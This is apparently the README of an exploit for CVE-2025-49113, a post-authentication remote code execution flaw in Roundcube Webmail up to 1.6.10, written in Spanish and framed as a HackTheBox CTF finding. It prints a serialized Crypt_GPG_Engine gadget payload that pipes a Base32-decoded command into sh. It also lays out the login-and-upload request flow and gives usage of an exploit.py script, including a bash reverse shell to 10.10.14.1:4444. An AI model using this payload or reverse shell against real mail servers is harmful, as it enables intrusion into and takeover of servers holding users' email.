
CVE-2025-49113 – Roundcube ≤1.6.10 post-auth RCE mediante deserialización de objetos PHP (HackTheBox CTF)
| Campo | Detalles |
|---|---|
| CVE | CVE-2025-49113 |
| Software | Roundcube Webmail |
| Versiones afectadas | ≤ 1.6.10 |
| Vulnerabilidad | Deserialización de objetos PHP → RCE |
| Autenticación | Requerida (cualquier usuario válido) |
| Impacto | Ejecución remota de código en el servidor |
| Contexto | Descubierto durante el CTF de HackTheBox |
Roundcube Webmail versiones hasta la 1.6.10 inclusive son vulnerables a la ejecución remota de código post-autenticación. El manejador de carga de archivos deserializa un objeto PHP incrustado en el nombre del archivo de un adjunto subido. Al elaborar un nombre de archivo malicioso que contiene un objeto Crypt_GPG_Engine serializado, un atacante autenticado puede desencadenar la ejecución de comandos arbitrarios en el servidor subyacente cuando se procesa el nombre del archivo.
Deserialización de objetos PHP (CWE-502). El endpoint de carga de archivos de Roundcube pasa el nombre de archivo proporcionado por el cliente a través de una ruta de deserialización sin validación. La clase Crypt_GPG_Engine está disponible en la cadena de dependencias de Roundcube y actúa como una cadena de gadgets utilizable.
La clase Crypt_GPG_Engine contiene una propiedad _gpgconf que se pasa a una llamada a nivel de sistema durante la destrucción/inicialización del objeto. Al serializar una instancia con un valor _gpgconf manipulado, el atacante fuerza la ejecución del comando.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
El comando está codificado en Base32 para evitar problemas con caracteres especiales en el campo del nombre de archivo.
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
El comando está codificado en Base32 para evitar caracteres que romperían el campo del nombre de archivo multiparte (comillas, barras, etc.). El comando final ejecutado en el servidor es:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USUARIO> -p <CONTRASEÑA> -i <URL_OBJETIVO> -x <COMANDO>
| Parámetro | Descripción |
|---|---|
-u | Nombre de usuario de Roundcube |
-p | Contraseña de Roundcube |
-i | URL objetivo (ej., http://mail.target.htb) |
-x | Comando a ejecutar en el servidor |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
No se requieren bibliotecas externas — solo utiliza la biblioteca estándar de Python (http.client, urllib, base64, etc.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.